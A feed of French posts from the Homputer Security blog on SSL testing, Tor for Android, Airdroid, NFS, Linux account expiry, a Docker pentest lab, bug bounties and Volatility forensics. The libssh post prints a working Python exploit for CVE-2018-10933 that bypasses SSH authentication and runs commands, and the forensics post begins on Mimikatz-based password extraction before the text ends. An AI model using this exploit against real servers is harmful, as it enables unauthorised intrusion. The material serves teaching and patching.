Depuis peu de temps certains navigateurs comme Chrome affiche un message “Non Sécurisé” sur les sites internet qui ne proposent pas de chiffrement SSL. Une forte augmentation de la mise en place du SSL a donc été notée.

Mais comment fonctionne la mise en place du SSL sur une application ? Avec un couple certificat plus clé privée. De nos jours les plus utilisées sont ceux issus de l’autorité de certification Let’s Encrypt.

Mais la mise en place d’un service avec du chiffrement SSL est bien trop souvent négligée ou bâclée, ce qui vaut souvent un gros message d’erreur comme celui-ci :

Ce message peut être affiche pour plusieurs raisons comme :

  • Certificat expiré ou pas encore valide
  • L’URL ne correspond pas au CN (Common Name) du certificat
  • Il est issu d’une autorité non reconnue ou auto-signée
  • Il n’est pas correctement installé (CA manquante)

Je vais vous présenter ici un outil en ligne proposé par Qualys, SSLLabs. Ce dernier permet rapidement de tester votre configuration SSL et de vous remonter les principaux problèmes avec une note de A+ à T. La note peut être impactée par divers facteurs comme l’organisation et l’utilisation de certains ciphersuites, l’absence de CA, etc. Voici un détail rapide des notes :

  • La note A
    • Ordre d’utilisation des cipersuites ne privilégient pas les plus forts (Elliptic Curve Diffie-Hellman)
  • La note B
    • La chaîne de certification n’est pas entière
    • Le serveur n’utilise pas le cyphersuites AEAD
  • La note C
    • Utilisation de ciphersuites faibles (MD5, RC4)
  • La note T
    • Certificat expiré ou pas encore valide
    • Mismatch entre l’URL et le CN du certificat
    • Autorité non connue ou auto signé
    • Certificat signé en SHA1

Pour plus de détails sur le système de notation je vous invite à vous rendre sur ce lien. Attention, le système de notation évolue continuellement en fonction des différentes évolutions.

Voici le lien pour réaliser des tests avec SSLLabs : https://www.ssllabs.com/ssltest/

Et voici un exemple pour l’URL https://homputersecurity.com :

Nous pouvons donc voir que la note pour notre blog est de A. Nous pouvons aussi voir avec ce test différentes choses comme :

  • Les versions de SSL/TLS supportées
  • Toutes les informations concernant le certificat (AC, signature, CN, validité, etc.)
  • La liste des ciphersuites supportés
  • La compatibilité avec les différents systèmes

Mais le problème avec cet outil, c’est qu’il ne fonctionne que sur des URLs externes. Pour les URLs internes il est donc nécessaire d’utiliser un autre moyen de test, comme le script testssl.sh.

Ce script va renvoyer à peu près les mêmes informations que SSLLabs mais en version shell et sans la note. Voici comment l’utiliser (git et OpenSSL sont nécessaires) :

git clone --depth 1 https://github.com/drwetter/testssl.sh.git
cd testssl.sh
./testssh.sh <URL>:port (443 si non renseigné)

Voici un exemple sur une de mes URLs Rancher pour Kubernetes :

Dans les résultats nous avons comme pour SSLLabs des informations sur les protocoles supportés, les ciphersuites, le certificat, etc.

 

J’espère que cet article vous aura plu, si vous avez des questions ou des remarques sur ce que j’ai pu écrire n’hésitez pas à réagir avec moi par mail ou en commentaire !

Merci pour votre lecture et à bientôt !

MRigonnaux

The post Testez votre configuration SSL appeared first on Homputer Security.


Une version de Tor pour Android désormais disponible

$
0
0


The Onion Router ou TOR est un réseau informatique mondial permettant d’anonymiser les connexions et de contourner la censure dans le réseau Internet.
Pour communiquer à travers ce réseau anonyme, l’une des possibilités est l’utilisation du navigateur TOR conçu par les développeurs même du projet.
Une version Android du navigateur a été récemment mise en ligne sur le site officiel du projet et l’App Store de Google.
Pour utiliser cette version, il est nécessaire d’installer au préalable le proxy Orbot sur votre smartphone.

Par ailleurs, lorsque vous lancerez Tor pour la première fois après son installation, vous serez invité à télécharger Orbot.

Après avoir installé Orbot, vous n’aurez qu’à le démarrer avant de relancer TOR.

Pour vous s’assurez que vous êtes effectivement sur le réseau de l’oignon, visitez la page suivante dans votre navigateur Tor: https://check.torproject.org/

Cette page fait déjà parti des favoris du navigateur.

L’équipe de Tor assure que les futures versions du navigateur Open Source ne nécessiteront pas Orbot.

Cette version du navigateur Tor sur Android n’est qu’en version alpha, c’est à dire dans sa toute première phase de développement. Par conséquent, il est très probable que vous rencontriez des bugs ou d’autres problèmes durant son utilisation.
Espérons qu’une version stable du navigateur anonyme soit bientôt disponible pour tous les utilisateurs Android.

Source: blog.torproject.org

mdestroy

The post Une version de Tor pour Android désormais disponible appeared first on Homputer Security.

Comment connecter votre smartphone à votre ordinateur ?

$
0
0

Airdroid est une application multiplateforme qui vous permet de connecter votre smartphone à votre laptop.
En effet, ce programme vous permet de réaliser plusieurs tâches de votre téléphone à partir de votre ordinateur, entre autres l’émission d’appels, de sms, les captures d’écran, les prises de photos, etc.
Airdroid possède également d’autres fontionnalités supplémentaires qui vous aideront à transférer des fichiers entre vos appareils, copier des URLs ou des notes dans votre presse-papier, lire sur votre ordinateur vos vidéos, vos musiques etc.

Airdroid est disponible sur Google Play et sur l’App Store.

Seules les plateformes Windows, macOS bénéficient de logiciels clients dédiés.
Si vous utilisez un autre système d’exploitation, il vous sera toutefois possible d’utiliser votre navigateur Web gérer votre smartphone.

Dans cet article, nous verrons comment utiliser Airdroid pour connecter un smartphone Android à un navigateur Web (Opera).

I-Installation

Tout d’abord, téléchargez Airdroid, puis installez le programme sur votre smartphone.
A l’ouverture d’Airdroid, vous serez invité à créer un compte.

NB: La création du compte n’est pas nécessaire pour bénéficier des avantages de l’application.

Pour activer le mode HTTPS pour le chiffrement des échanges entre l’ordinateur et le smartphone, naviguez vers Moi/Paramètres/Général, puis activez l’option Connexion HTTPS et redémarrez l’application.

NB: Le mode HTTPS d’Airdroid n’est pas supporté par Mozilla Firefox. Ce mode n’est supporté que par Google Chrome et les autres navigateurs basés sur Chromium.

De retour sur l’application, choisissez l’option Airdroid Web, puis notez l’adresse à laquelle vous devez vous connectez pour contrôler votre téléphone.

Ouvrez ensuite votre navigateur, puis connectez-vous à l’adresse indiquée.

Acceptez le certificat de l’application.

A partir de votre télépone, autorisez l’accès à distance.

Vous accéderez ainsi à l’interface Web d’Airdroid sur votre navigateur.

II-Fonctionnalités

A travers Airdroid, vous serez en mesure d’envoyer des sms depuis votre ordinateur …

… d’émettre des appels, de consulter la liste de vos appels …

… de transférer vos photos, vos vidéos …

Airdroid vous permet également de transférer vos applications entre vos appareils…

…et tout type de fichier.

Airdroid vous permet de copier des notes, ou des URLs dans le presse-papier de votre smartphone.

J’espère que vous avez aimé découvrir Airdroid.
N’hésitez surtout pas à partager votre expérience avec Airdroid en commentaire.

🙂

mdestroy

The post Comment connecter votre smartphone à votre ordinateur ? appeared first on Homputer Security.

Comment créer des points de montage NFS ?

$
0
0

Le NFS ou Network File System est un protocole système qui permet à un ordinateur d’accéder à des fichiers distants à travers un réseau.
Ce protocole vous permet de gérer un espace de stockage situé sur un emplacement différent et facilite le partage de données avec d’autres utilisateurs dans un même réseau.

Dans ce guide, nous verrons comment configurer des points de montage via NFS sur des machines Ubuntu 16.04.

I-Installation des packages NFS

Sur le système qui fonctionnera comme serveur NFS, le package nfs-kernel-server devra être installé.

# apt-get update
# apt-get install nfs-kernel-server

Sur les machines qui feront office de clients NFS, le package nfs-common devra être installé.

# apt-get update
# apt-get install nfs-common

II-Configurations NFS

Pour permettre aux clients de créer des points de montage à partir de leur système, il faudra insérer pour chaque client une ligne dans le fichier de configuration du serveur NFS: /etc/exports.
La syntaxe de base pour les lignes de configuration NFS est la suivante:

dossier_à_partager adresse_client(option1,option2,…)

NB: adresse_client peut être un nom d’hôte ou une adresse ip.

Ci-dessous quelques options NFS:

rw: Cette option donne au client les accès en écriture et en lecture.

ro: Cette option ne donne au client que les accès en lecture.

sync: L’option sync force le serveur à répondre aux requêtes des clients NFS après l’écriture des données sur l’espace de stockage. Bien que cette option soit sécurisée (peu de chances de perte des données), elle peut ralentir la transmission des données.

async: Contrairement à sync, async permet au serveur de répondre aux requêtes aussitôt qu’il reçoit les requêtes des clients NFS. La transmission des données est améliorée avec async, mais en retour les risques de perte sont plus élévés.
Cette option est utilisée par défaut par le protocole NFS.

NB: Les modes sync et async peuvent être également activés chez le client NFS via la commande mount ou le fchier /etc/fstab.

no_subtree_check : Cette option désactive le contrôle de sous-arbre. Sans cette option, le NFS vérifie en plus que les utilisateurs n’ont accès qu’aux sections nécessaires du répertoire. Cela ralentit le travail. no_subtree_check permet d’accélerer ce processus, mais réduit la sécurité.

no_root_squash : Dans un souci de sécurité, le NFS traduit par défaut les requêtes d’un utilisateur root distant en un utilisateur non priviligié sur le système local (nobody). Cette fonctionnalité du NFS empêche un utilisateur root distant d’accéder aux fichiers du serveur en étant également root sur ce même serveur. L’option no_root_squash désactive cette fonctionnalité.

all_squash : Lorsque cette option est activée, tout utilisateur (y compris root) qui accédera au partage en tant que utilisateur nobody, membre du groupe nogroup.

anonuid : permet de modifier l’uid du compte utilisé par le NFS (nobody).

anongid : permet de modifier le gid du groupe utilisé par le NFS (nogroup).

NB: Les syntaxes pour anonuid et anongid est:
anonuid=<valeur_uid>
anongid=<valeur_gid>

sec Ce paramètre est utilisé pour sécuriser les transmissions de données via NFS. Voici ses options possibles:
_ sys: Ce mode permet un accès aux fichiers basé sur les permissions de fichiers Linux standards. sys est l’option utilisée par défaut par le NFS.
_ krb5: Les clients doivent prouver leurs identités en utilisant Kerberos. Les permissions Linux sont ensuite appliquées.
_ krb5i: Ce mode ajoute à krb5 un chiffrement sur les données transmises ce qui assure l’intégrité des fichiers.
_ krb5p: Ce mode chiffre toutes les requêtes entre le client et le serveur. La performance est fortement impactée.

III-Exemples

Pour les démonstrations que nous effectuerons ci-dessous, nous utiliserons trois machines:

nfs-server qui sera notre serveur NFS et trois clients NFS nfs-client, other-client et new_client.

Exemple 1

Sur notre serveur NFS (nfs-server), créeons un dossier /share que nous rendrons accessible via le réseau.

# mkdir /share

Ajoutons ensuite à /etc/export la ligne suivante qui permettra aux utilisateurs de la machine nfs-client de monter sur leur machine le répertoire /share.

Validons les nouvelles configurations à l’aide de la commande suivante:

# exportfs -r

Sur nfs-client, créeons un nouveau dossier /nfsshare à travers lequel nous allons monter le répertoire /share du serveur nfs-server.

# mkdir /nfsshare

A l’aide de la commande mount, montons le dossier distant dans le dossier /nfsshare.


Grâce à l’option no_root_squash que nous avons inséré dans le fichier de configuration de nfs-server, nous remarquons qu’il n’est pas possible de faire la différence entre les fichiers créés par l’utilisateur root de nfs-client et ceux créés par l’utilisateur root de nfs-server.

Exemple 2

De retour sur nfs-server, créeons un nouveau dossier /directory, puis assurons-nous que les autres utilisateurs en plus de l’utilisateur root aient également le droit d’écriture sur ce dossier.

# mkdir /directory
# chmod o+w /directory

Ajoutons une nouvelle ligne de configuration à nfs-server qui permettra aux utilisateurs de la machine other-client de monter sur leur système le répertoire /directory.

Validons les nouvelles configurations à l’aide de la commande suivante:

# exportfs -r

L’absence du paramètre no_root_squash dans le fichier de configuration de nfs-server nous permet de faire la différence entre les fichiers créés par l’utilisateur root via nfs et ceux créés par le serveur nfs.

Exemple 3

A l’aide de all_squash, anonuid et anongid  nous spécifions un utilisateur et un groupe précis pour tout utilisateur distant qui accédera au partage /newshare et qui se connectera à partir de la machine new-client.

Dans l’image suivante, nous remarquons que tous les fichiers édités par les utilisateurs de la machine distante (comptes privilégiés et non-privilégiés)
ont tous un même propriétaire.

Exemple 4

Si vous souhaitez rendre permanent un point de montage sur un client NFS, il vous faudra tout simplement modifier le fichier /etc/fstab du système comme dans l’image suivante:

Dans un prochain article, nous verrons comment sécuriser les transmissions NFS via Kerberos.

J’espère que ce guide vous a plus et qu’il vous sera utile.

🙂

mdestroy

The post Comment créer des points de montage NFS ? appeared first on Homputer Security.

Que faire suite au dernier piratage de Facebook ?

$
0
0

Vendredi dernier, Facebook a révélé une nouvelle faille de sécurité qui permettait à des acteurs de prendre le contrôle de plusieurs comptes. Plus de 50 millions d’utilisateurs seraient affectés.

Cette faille a été découverte sur la fonctionnalité Aperçu du profil en tant que qui permet à tout utilisateur d’afficher son profil en tant qu’un autre utilisateur.

A ce jour, les équipes de Facebook poursuivent leur investigation et promettent de faire des mises à jour sur la page officielle de l’incident de sécurité.
Par ailleurs, la fonctionnalité Aperçu du profil en tant que est pour le moment désactivée, elle n’apparaît plus sur les profils.

Pour prendre le contrôle d’un compte, les pirates utilisaient cette faille de sécurité pour obtenir des tokens qui leur permettait d’avoir accès à des comptes sans avoir à fournir de mots de passe.

Selon Guy Rosen, Vice Président de la Gestion des Produits, une façon simple de protéger votre compte, serait de générer de nouveaux tokens.
Ces tokens d’accès permettent aux utilisateurs de maintenir leur connexion active sur Facebook afin qu’ils ne soient pas obligés de réinsérer leur mot de passe à chaque nouvelle connexion.
Facebook recommande alors à tous ses utilisateurs de se reconnecter sur chacun des appareils (et applications) connectés à Facebook.

Les utilisateurs qui ont eu leurs comptes affectés verront notamment une notification sur l’incident de sécurité à leur prochaine connexion.

Pour protéger votre compte, voici quelques mesures à suivre:
1- Vérifiez vos dernières connexions:

Allez dans vos Paramètres, puis choisissez l’option Sécurité et Connexion dans le menu de votre droite.

Si vous remarquez une connexion suspicieuse, déconnectez la immédiatement en choisissant les trois points verticaux proche de cette connexion, puis l’option Déconnexion.

2- Facebook possède également quelques fonctionnalités pour mieux sécuriser votre compte.

_ L’authentification à deux facteurs
A travers cette fonctionnalité, Facebook ajoute une nouvelle couche de sécurité pour toutes vos connexions. Outre votre mot de passe habituel, vous serez invité à insérer un code de vérification.
En plus des Textos pour la réception des codes, il est désormais possible d’utiliser une application TOTP (comme Duo, Google Authenticator, FreeOTP, etc.) pour obtenir votre code de vérification.
Si vous choisissez d’activer cette fonctionnalité, assurez-vous de bien conserver vos codes de récupération qui vous permettront de récupérer votre compte en cas d’indisponibilité de votre téléphone (ou application).

_ Connexions autorisée
Cette fonctionnalité liste les appareils pour lesquels un token de connexion n’est pas requis.

_ Recevoir des alertes en cas de connexions non-reconnues
Cette fonctionnalité vous alerte si des connexions ont été détectées sur des appareils ou des navigateurs que vous n’aviez jamais utilisés auparavant.

mdestroy

The post Que faire suite au dernier piratage de Facebook ? appeared first on Homputer Security.

Comment définir une durée de vie sur un compte d’utilisateur ou un mot de passe sur Linux ?

$
0
0

L’attribution d’une durée de vie aux mots de passe est l’une des techniques employées par les administrateurs système pour protéger les sociétés contre certains types d’attaque sur les mots de passe.
Dans cet article, nous verrons comment utiliser les commandes useraddusermod et chage pour gérer la durée de vie des comptes d’utilisateurs et des mots de passe sur Linux.

Comme vous le savez, les commandes useradd et usermod sont utilisées respectivement pour la création et la modification des comptes d’utilisateur.
La commande chage quant à elle permet entre autres, d’afficher/modifier les informations sur la durée de vie des mots de passe et des comptes d’utilisateur, d’afficher la date de la dernière modification d’un mot de passe.

Ci-dessous les menus d’aide des commandes useradd et chage:


NB: Dans cet article, j’utilise un système Ubuntu 18.04 (Bionic). Toutes les commandes utilisées devraient fonctionner sur toutes les distros Linux.

I-Définir une date d’expiration sur un compte

Si vous souhaitez créer un compte qui expirera à une date précise, utilisez l’option e de la commande useradd.
NB: La syntaxe suivante de chage vous permettra de lister des informations sur les dates d’expiration d’un compte et d’un mot de passe.

# chage -l some-user

Si le compte ciblé existe déjà, servez-vous de l’option e de la commande usermod pour ajouter (ou modifier) une date d’expiration du compte.

Cette opération est également possible avec l’option E de chage.

Sur Linux, la commande date peut vous servir à calculer des dates.
L’exemple suivant vous permet de déterminer la date qu’il fera dans 30 jours.

Dans l’exemple ci-dessous, nous combinons les commandes date et useradd pour créer le compte d’utilisateur akissi qui expirera après 60 jours:

Si vous souhaitez retirer la date d’expiration d’un compte, utilisez tout simplement la valeur -1 avec l’option E de chage.


NB: Les commandes sus-citées utilisent elles toutes le format Année-Mois-Jour (Year-Month-Day).

II-Définir une date d’expiration sur un compte de moins de 24h

Dans le cas où vous souhaitez créer un utilisateur qui sera actif seulement quelques heures voire quelques minutes, les commandes utilisées plus haut ne pourront vous servir car elles requièrent des dates spécifiques. Pour ce type scénario, vous pouvez utiliser un ensemble de commandes comme dans l’exemple ci-après.

# useradd someuser
# echo usermod –lock someuser | at now + 10 minutes

Dans l’exemple suivant, nous utilisons les commandes useradd, usermod et at pour créer l’utilisateur kouassi qui sera verrouillé après 10 minutes.

III-Définir une date d’expiration sur un mot de passe

L’option M de la commande chage force les utilisateurs à créer un nouveau mot de passe après une certaine période.

NB: L’option W permet d’afficher un avertissement aux utilisateurs pour la création du nouveau mot de passe.

Si vous souhaitez désactiver la date d’expiration d’un mot de passe, utilisez tout simplement la valeur 99999 avec l’option M comme dans l’exemple suivant :

J’espère que cet article vous sera utile. 🙂

mdestroy

The post Comment définir une durée de vie sur un compte d’utilisateur ou un mot de passe sur Linux ? appeared first on Homputer Security.

Débutez le Pentest avec Docker

$
0
0

Bonjour à tous,

Aujourd’hui nous allons voir ensemble comment monter une plateforme pour débuter le pentest Web dans un environnement Docker avec 2 images, DVWA (Damn Vulnerable Web Application) de Ryan Dewhurstet Mutillidae de l’OWASP. Ces 2 images vont chacune héberger une instance Web vulnérable à plusieurs niveaux (XSS, CSRF, SQL Injection, etc.).

Les images en question sont disponibles sur Docker-Hub :-

Pour mon exemple je vais utiliser une machine sous Centos 7 avec docker.

L’avantage d’utiliser une plateforme comme celle-ci comparé aux sites de challenge comme root-me ou hack the box est que vous avez la possibilité d’avoir totalement la main sur vos images et votre infrastructure, ce que vous n’avez pas avec ces sites dédiés.

Les deux conteneurs fonctionnent avec Apache, MySQL et PHP.

Voici comment lancer l’image de DVWA :

docker run -d -p 80:80 vulnerables/web-dvwa

Les options pour le lancement du conteneur sont les suivantes, -d pour détaché et -p pour les ports port_externe:port_interne, dans mon cas le port 80 ouvert sur la machine.

Une fois le conteneur lancé rendez vous dans votre navigateur et entrez l’IP de votre machine avec le port choisi, vous arriverez sur la page de setup de DVWA :

Descendez un peu sur la page et sélectionnez “Setup database” pour configurer votre image DVWA,

Rendez vous maintenant sur la page login et entre les identifiants par défaut admin:password :

Il m’est arrivé d’arriver directement sur la page login à la première connexion, dans ce cas appuyez sur entrer dans le formulaire et la page de setup s’affichera.

Une fois connecté, vous avez enfin accès à l’interface de DVWA :

Depuis cette interface vous avez le choix entre différentes failles et attaques, il est aussi bon de savoir qu’il existe plusieurs niveaux de sécurité sur les différentes pages dans le menu “DVWA Security”.

Vous pouvez maintenant commencer à tester les différentes possibilités de l’application !

Passons maintenant à Mutillidae, le principe est similaire :

docker run -d -p 8080:80 szsecurity/mutillidae

Cette fois-ci j’utilise le port 8080 en externe car le 80 est pris par DVWA.

Rendez vous maintenant avec votre navigateur et entrez une nouvelle fois l’adresse IP de votre serveur avec le port :

Sur cette page sélectionnez “reset the DB”, vous arriverez alors sur la page d’accueil de Mutillidae :

Vous avez maintenant accès à l’ensemble des fonctionnalités, dans Mutillidae les différentes pages sont classées en fonction du top 10 de l’OWASP et vous avez aussi différents niveaux de sécurité.

Un article sur les différents outils de base pour le pentest arrivera prochainement.

Voici également un lien vers un document expliquant différentes attaques sur ces 2 conteneurs, il a été réalisé dans le cadre de mes études : cliquez ici.

J’espère que cet article vous aura plu, si vous avez des questions ou des remarques sur ce que j’ai pu écrire n’hésitez pas à réagir avec moi par mail ou en commentaire !

Merci pour votre lecture et à bientôt !

MRigonnaux

The post Débutez le Pentest avec Docker appeared first on Homputer Security.

Comment exploiter la vulnérabilité découverte sur libssh ?

$
0
0

Une vulnérabilité (CVE-2018-10933) a été récemment découverte dans libssh, une bibliothèque codée en C implémentant le protocole SSH utilisé pour l’administration à distance des serveurs.

Depuis quatre ans, un défaut dans cette implémentation du protocole SSH permettait aux pirates de contourner les procédures d’authentification et d’avoir accès aux serveurs.

Pour y parvenir, il suffisait qu’un attaquant émette le message SSH2_MSG_USERAUTH_SUCCESS au lieu de SSH2_MSG_USERAUTH_REQUEST que le serveur espère normalement lors du processus d’authentification d’un client.

Ce message SSH2_MSG_USERAUTH_SUCCESS amenait le serveur ssh à penser que l’authentification avait déjà été confirmée et ce dernier offrait automatiquement l’accès à l’attaquant.

Ce problème existe dans la version libssh 0.6.0 et les versions suivantes. Seules les versions 0.7.6 et 0.8.4 ont été mises à jour jusque là.

I-Démonstration

Dans la suite de cet article, nous verrons comment exploiter cette vulnérabilité pour accéder de façon non-autorisée à des informations sur un serveur vulnérable.

Soit l’hôte sunny qui utilise une version de libssh.

A l’aide de netcat, nous avons la confirmation que l’hôte sunny utilise une version vulnérable de libssh.


Grâce au script Python ci-dessous, nous tenterons d’exploiter la vulnérabilité CVE-2018-10933 sur l’hôte sunny.

#!/usr/bin/env python

import sys
import socket
import paramiko

def main(hostname,port,cmd):

	try:

		s = socket.socket()
		s.connect((str(hostname),int(port)))
		msg = paramiko.message.Message()
		msg.add_byte(paramiko.common.cMSG_USERAUTH_SUCCESS)
		paramiko.util.log_to_file("filename.log")
		trans = paramiko.transport.Transport(s)
		trans.packetizer.REKEY_BYTES = pow(2, 40)
		trans.packetizer.REKEY_PACKETS = pow(2, 40)
		trans.start_client(timeout=5)
		trans._send_message(msg)
		session = trans.open_session(timeout=10)
		session.exec_command(cmd)
		out_file = session.makefile("rb",4096)
		output = out_file.read()
		print output
		out_file.close()
		s.close()
		return 
	except Exception as e:
		print "Error"
		print e
		return
	

if __name__ == "__main__":
	try:
		hostname = sys.argv[1]
		port = sys.argv[2]
		cmd = sys.argv[3]
		main(hostname,port,cmd)
	except Exception as e:
		print "Usage: <script.py> <hostname> <port> <command>"
		exit()

Le script nous permet d’exécuter des codes sur l’hôte sunny sans s’être authentifé sur le serveur ssh.

II-Mesures de sécurité

Vu l’impact que peut avoir cette faille de sécurité, il est recommandé de mettre à jour vos systèmes le plus tôt possible.

Plusieurs vendeurs ont publié des bulletins de sécurité dans lesquels ils recommendent aux utilisateurs d’effectuer des mises à jour le plus tôt possible.

Ainsi, Arch Linux suggère une mise à jour de libssh vers la version 0.8.4-1. Cette mise à jour peut être réalisée en lançant dans votre terminal la commande suivante:

# pacman -Syu “libssh>=0.8.4-1”

Debian et Ubuntu ont également annoncé des packages qui protégeront votre système.

Du côté de Cisco, des investigations sont en cours afin de déterminer les gammes de produits affectées par la vulnérabilité.

Source: libssh.org

mdestroy

The post Comment exploiter la vulnérabilité découverte sur libssh ? appeared first on Homputer Security.


Débutez avec Open Bug Bounty

$
0
0

Bonjour à tous,

Un rapide article pour vous présenter une plateforme que j’ai découverte récemment, Open Bug Bounty.

C’est un site de bug bounty classique avec plusieurs sites proposés, sauf que les entreprises/sites ne sont pas obligés de donner un “bounty”, généralement de l’argent ou des cadeaux.

Si vous ne savez pas ce qu’est le bug bounty je vous invite à lire cet article de Korben sur le sujet : Le business du Bug Bounty.

En bref le bug bounty peut-être privé ou public, il est généralement proposé par une entreprise et permet à des chercheurs en sécurité d’effectuer des tests de sécurité dans un cadre légal et d’être rémunéré ou de recevoir des cadeaux s’ils arrivent à trouver des failles dans le système. L’entreprise définit à l’avance plusieurs choses :

  • Le périmètre du bug bounty
  • Le montant des “bounty”
  • La liste des failles éligibles

Les principaux acteurs du bug bounty sont les suivantes :

Vous y trouverez des grands noms comme OVH, Dailymotion, Qwant, etc.
Il est aussi à noter que les entreprises comme Google, Facebook ou Twitter dispose généralement de leur propre plateforme.

Vous imaginez donc bien qu’il peut être difficile de trouver des failles dans les entreprises présentes sur ces sites, dû à leur niveau élevé de sécurité et aux chercheurs qui sont déjà passé là, et encore plus si vous débutez.

C’est là que je trouve un avantage à Open Bug Bounty, l’entreprise n’est pas obligée de vous rémunérer même si certaines le font quand même. Mais vous avez à votre disposition un grand nombre de sites Internet avec un niveau de sécurité moindre. Ce qui permet de trouver des failles de sécurité et de progresser sans perdre sa motivation et tout ça je le reprécise dans un cadre légal. J’ai eu l’occasion de tester plusieurs sites et j’ai pu trouver des failles assez rapidement, comme des XSS. Il est par contre interdit d’utiliser des outils automatisés qui peuvent se montrer intrusifs comme SQLMap par exemple.

Depuis le début ce site à permit de corriger 167.000 failles de sécurité sur différents sites, il y a aussi un peu plus de 250 sites actifs sur la plateforme et 8000 chercheurs.

J’espère que cet article vous aura plu, si vous avez des questions ou des remarques sur ce que j’ai pu écrire n’hésitez pas à réagir avec moi par mail ou en commentaire !

Merci pour votre lecture et à bientôt !

The post Débutez avec Open Bug Bounty appeared first on Homputer Security.

Introduction à Volatility

$
0
0

Dans le monde de l’informatique légale (computer forensics), les données existent notamment sous trois états.
D’abord, nous avons les données en transit (data in transit) qui décrivent des données qui sont en mouvement à travers un réseau ou entre deux espaces de stockage.
Cela peut se traduire par exemple par deux utilisateurs qui se transfèrent des fichiers à travers un réseau, ou un utilisateur qui accède à un site Web.
Ensuite, nous avons les données au repos (data at rest). Dans cet état, les données résident sur des médias non-volatiles (disques durs, cartes mémoires, clés USB, etc.) et ne sont ni lues ni traitées.
Par exemple, les fichiers sauvegardés sur votre disque dur ou votre clé USB et qui ne sont pas utilisés.
Pour finir, nous avons les données en utilisation (data in use) où les données sont utilisées sur le moment par l’utilisateur ou par le CPU.
Lorsque les données sont utilisées, elles sont retirées du disque dur et stockées temporairement dans la mémoire RAM, car bien plus rapide que le disque dur. Ceci, dans un souci de rendre le système plus rapide. Ces données y restent aussi longtemps qu’elles sont utilisées et jusqu’à l’extinction du système.

L’analyse de la mémoire est donc une étape très importante dans les investigations forensics. Elle peut révéler entre autres des processus malicieux ou des activités réseaux louches sur des systèmes compromis, et peut même permettre de découvrir des intrusions systèmes.
L’un des outils les plus populaires pour l’analyse des mémoires RAM est Volatility.
Cette plateforme Open Source implémentée dans le language Python, peut être utilisée très facilement sur les systèmes Windows, Linux. Elle est composée de plusieurs plugins qui sont dotés de fonctionnalités spéciales.

Ci dessous les types d’image mémoires supportées par la dernière version de Volatility:

– Les images mémoires issues des crashes (crash dumps) des systèmes Windows 32- et 64-bit,
– Les fichiers d’Hibernation des systèmes Windows 32- et 64-bit,
– Les fichiers MachO 32- and 64-bit,
– Les images mémoires RAW (dd),
– Les images mémoire VirtualBox ELF64 core,
– Les fichiers d’états sauvegardés et snapshots de VMware,
– Le format EWF (E01),
– Le format LiME,
– Les images mémoires des machines virtuelles QEMU,
– Firewire,
– Le format HPAK (FDPro).

Volatility est inclus dans Kali Linux.
Si vous souhaitez l’installer sur un système Ubuntu (ou tout autre système basé sur Debian), utilisez la commande suivante:

# apt-get install volatility

Pour l’affichage du menu d’aide de Volatility, il vous suffit de lancer la commande suivante:

# volatility --help

Dans la suite de cet article, nous verrons quelques plugins de base de Volatility.

Imageinfo

Le plugin imageinfo permet d’obtenir plusieurs informations éssentielles pour l’analyse de l’image mémoire comme l’architecture matérielle (32-bit/64-bit), le nombre de processeurs, le service pack, etc.

Le résultat de la commande exécutée ci-dessus suggère que le profil du système d’où l’image mémoire Windows 7-06db5a20.vmem est originaire est l’un des suivants:
Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418.
Ce résultat nous révèle également que l’architecture du système est un 64-bit.
Pour voir tous les profils et plugins de volatility, il vous suffit de lancer la commande suivante dans votre terminal.

# volatility --info

pslist

Le plugin pslist permet de lister tous les services qui étaient en cours au moment de l’acquisition de l’image mémoire.


Le plugin pstree quant à lui crée une aborescence entre tous les services dans le but d’identifier les processus parents et enfants.

hivelist

La base de registre Windows contient les données de configuration du système d’exploitation et des logiciels installés sur le système.
Ces données peuvent être les informations sur la machine, la configuration réseau du système, les profils des utilisateurs, les mots de passe des services, et bien d’autres.
Treize ruches de cette base de registre sont chargées dans la mémoire, rendant ainsi possible la récupération de précieuses informations.
Le plugin hivelist liste les ruches de la base de registre qui sont chargées dans la mémoire.


screenshot

screenshot permet de réaliser des captures à partir de l’image mémoire.

netscan

Pour voir les connexions qui étaient actives lors de l’acquisition de l’image mémoire, servez-vous du plugin netscan.

Pour les systèmes XP/Server 2003, utilisez plutôt les commandes connections ou connscan.

malfind

Comme son nom l’indique, malfind est utilisé pour trouver les processus créés par les logiciels malveillants (malwares).

cmdscan

Le plugin cmdscan vous révèle un historique des commandes qui ont été exécutées sur la machine.

Ainsi prend fin cette brève introduction à Volatility. J’espère que vous avez aimé découvrir ce fantastique outil.
Dans mes prochains articles, nous verrons des exemples pratiques d’extraction d’informations dans les images mémoires à l’aide de Volatility.

A bientôt !

🙂

mdestroy

The post Introduction à Volatility appeared first on Homputer Security.

Comment extraire des informations dans une image mémoire ?

$
0
0

La semaine dernière je vous introduisais à Volatility, cet outil Open Source qui peut être très utile dans les investigations forensic.
Aujourd’hui, nous verrons quelques exemples pratiques d’extraction d’informations dans des images mémoires à l’aide de Volatility et d’autres outils Linux.
Pour une bonne compréhension, je vous invite à revoir mon article introductif sur Volatility.

Profil Système

Pour commencer, déterminons le profile système de l’image que nous analyserons. Cette étape est essentielle pour notre analyse.

Le résultat de la commande exécutée plus haut nous suggère que le système dont l’image est originaire est l’un des suivants:
Win7SP1x64, Win7SP0x64, Win2008R2SP0x64, Win2008R2SP1x64_23418, Win2008R2SP1x64, Win7SP1x64_23418.

Nom de la machine et configuration réseau

Pour connaître le nom de la machine d’où vient l’image mémoire, il nous faudra tout d’abord déterminer l’adresse virtuelle (l’offset) de la ruche Système du registre. Cela peut se faire grâce au plugin hivelist de volatility.

Le résultat de la commande exécutée ci-dessus nous indique que l’adresse virtuelle de la ruche Système est 0xfffff8a000024010.

Pour afficher le nom de la machine, il nous faudra naviguer vers la sous clé ControlSet001\Control\ComputerName\ActiveComputerName contenue sous la ruche Système.

Le nom de la machine est donc Dionysos.

Les informations sur la configuration réseau de la machine sont sauvegardées dans la sous clé ControlSet001\services\tcpip\Parameters également située dans la ruche Système.

Mot de passe des comptes Windows

Pour découvrir les mots de passe de l’utilisateur Windows connecté au moment de l’acquisition de l’image mémoire, nous utiliserons le plugin Mimikatz. Ce plugin ne vient pas avec Volatility, il faudra donc l’importer.

Installez tout d’abord la bibliothèque Python-crypto sur votre système.

# apt-get install python-crypto

Puis, importez le plugin en suivant ces étapes :

# cd /usr/share/volatility
# mkdir plugins
# cd plugins
# wget https://raw.githubusercontent.com/dfirfpi/hotoloti/master/volatility/mimikatz.py

